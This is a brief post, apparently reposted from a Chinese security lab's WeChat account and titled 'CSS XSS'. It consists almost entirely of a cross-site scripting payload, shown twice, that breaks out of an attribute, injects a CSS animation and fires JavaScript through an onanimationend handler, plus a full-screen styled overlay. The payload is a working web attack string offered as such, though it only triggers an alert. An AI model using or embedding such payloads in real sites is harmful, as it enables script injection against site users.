“><style>
@keyframes
x{}</style><xss style=”animation-name:x” onanimationend=”[].map(alert(‘xss’))”></xss>>
<b/style=position:fixed;top:0;left:0;font-size:200px>CSS<
"><style>@keyframesx{}</style><xss style="animation-name:x" onanimationend="[].map(alert('xss'))"></xss>><b/style=position:fixed;top:0;left:0;font-size:200px>CSS<
原文始发于微信公众号（Khan安全攻防实验室）：CSS XSS
